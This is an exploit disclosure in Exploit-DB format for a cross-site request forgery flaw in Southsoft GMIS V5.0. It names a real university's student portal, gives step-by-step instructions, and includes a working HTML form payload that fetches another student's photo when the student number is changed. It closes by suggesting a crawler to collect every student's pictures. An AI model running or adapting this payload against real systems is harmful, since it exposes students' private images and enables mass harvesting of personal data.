# Exploit Title: Southsoft GMIS Cross-Site Request Forgery (CSRF)

# Date: 20.07.2021

# Exploit Author: caiteli

# Vendor Homepage: http://www.southsoft.com.cn/

# Version: V5.0

# Tested on: Windows 10 and Kali

#Description

Southsoft GMIS is vulnerable to CSRF attacks. Attackers can access other users' private information such as photos through CSRF.

#Steps to reproduce the attack:

1. Login as a normal user
2. Record information in web page URL features . For example, the home page URL is

http://gmis.lzjtu.edu.cn/gmis/(S(Signature code))/student/default/index, Record signature code and student number

1. Modify the signature code and student number into the attached CSRF malicious file and open it (CSRF\_POC.html), the characteristic code is filled in [1], and the student number is filled in [2]

<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="http://gmis.lzjtu.edu.cn/gmis/(S([1]))/student/grgl/PotoImageShow/">

<input type="hidden" name="bh" value="[2]" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>

1. You can access anyone's picture information by changing the value in [2] Or use crawler technology to get everyone's pictures